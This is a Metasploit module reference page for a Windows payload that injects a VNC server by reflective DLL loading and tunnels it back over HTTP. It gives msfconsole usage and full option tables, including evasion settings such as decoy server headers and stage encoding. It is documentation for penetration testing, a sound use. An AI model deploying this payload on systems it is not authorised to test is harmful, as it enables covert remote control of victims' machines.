VNC Server (Reflective Injection), Reverse HTTP Stager Proxy - Metasploit


This page contains detailed information about how to use the payload/windows/vncinject/reverse_http_proxy_pstore metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
Module: payload/windows/vncinject/reverse_http_proxy_pstore
Source code: modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use payload/windows/vncinject/reverse_http_proxy_pstore
msf payload(reverse_http_proxy_pstore) > show options
    ... show and set options ...
msf payload(reverse_http_proxy_pstore) > generate

To learn how to generate payload/windows/vncinject/reverse_http_proxy_pstore with msfvenom, please read this.

Required Options


  • LHOST: The local listener hostname

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Msfconsole Usage


Here is how the windows/vncinject/reverse_http_proxy_pstore payload looks in the msfconsole:

msf6 > use payload/windows/vncinject/reverse_http_proxy_pstore

msf6 payload(windows/vncinject/reverse_http_proxy_pstore) > show info

       Name: VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
     Module: payload/windows/vncinject/reverse_http_proxy_pstore
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 650
       Rank: Normal

Provided by:
  sf <[email protected]>
  hdm <[email protected]>

Basic options:
Name                  Current Setting  Required  Description
----                  ---------------  --------  -----------
AUTOVNC               true             yes       Automatically launch VNC viewer if present
DisableCourtesyShell  true             no        Disables the Metasploit Courtesy shell
EXITFUNC              process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                                  yes       The local listener hostname
LPORT                 8080             yes       The local listener port
LURI                                   no        The HTTP Path
VNCHOST               127.0.0.1        yes       The local host to use for the VNC proxy
VNCPORT               5900             yes       The local port to use for the VNC proxy
ViewOnly              true             no        Runs the viewer in view mode

Description:
  Inject a VNC Dll via a reflective loader (staged). Tunnel 
  communication over HTTP

Module Options


This is a complete list of options available in the windows/vncinject/reverse_http_proxy_pstore payload:

msf6 payload(windows/vncinject/reverse_http_proxy_pstore) > show options

Module options (payload/windows/vncinject/reverse_http_proxy_pstore):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   AUTOVNC               true             yes       Automatically launch VNC viewer if present
   DisableCourtesyShell  true             no        Disables the Metasploit Courtesy shell
   EXITFUNC              process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                                  yes       The local listener hostname
   LPORT                 8080             yes       The local listener port
   LURI                                   no        The HTTP Path
   VNCHOST               127.0.0.1        yes       The local host to use for the VNC proxy
   VNCPORT               5900             yes       The local port to use for the VNC proxy
   ViewOnly              true             no        Runs the viewer in view mode

Advanced Options


Here is a complete list of advanced options supported by the windows/vncinject/reverse_http_proxy_pstore payload:

msf6 payload(windows/vncinject/reverse_http_proxy_pstore) > show advanced

Module advanced options (payload/windows/vncinject/reverse_http_proxy_pstore):

   Name                        Current Setting                                                Required  Description
   ----                        ---------------                                                --------  -----------
   DisableSessionTracking      false                                                          no        Disables the VNC payload from following the active session as users log in an out of the input desktop
   EnableStageEncoding         false                                                          no        Encode the second stage payload
   HttpServerName              Apache                                                         no        The server header that the handler will send in response to requests
   HttpUnknownRequestResponse  <html><body><h1>It works!</h1></body></html>                   no        The returned HTML response body when the handler receives a request that is not from a payload
   HttpUserAgent               Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko  no        The user-agent that the payload should use for communication Max parameter length: 255 characters
   IgnoreUnknownPayloads       false                                                          no        Whether to drop connections from payloads using unknown UUIDs
   OverrideLHOST                                                                              no        When OverrideRequestHost is set, use this value as the host name for secondary requests
   OverrideLPORT                                                                              no        When OverrideRequestHost is set, use this value as the port number for secondary requests
   OverrideRequestHost         false                                                          no        Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
   OverrideScheme                                                                             no        When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
   PayloadUUIDName                                                                            no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                                                             no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                                                                            no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false                                                          yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                                                              yes       How many additional successful pingbacks
   PingbackSleep               30                                                             yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate              false                                                          yes       Spawns and runs shellcode in new process
   PrependMigrateProc                                                                         no        Process to spawn and run shellcode in
   ReverseAllowProxy           false                                                          yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                                                                 no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                                                                    no        The port to bind to on the local system if different from LPORT
   StageEncoder                                                                               no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                                                                  no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true                                                           no        Fallback to no encoding if the selected StageEncoder is not compatible
   VERBOSE                     false                                                          no        Enable detailed status messages
   WORKSPACE                                                                                  no        Specify the workspace for this module

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References


See Also


Check also the following modules related to this module:

Authors


  • sf
  • hdm

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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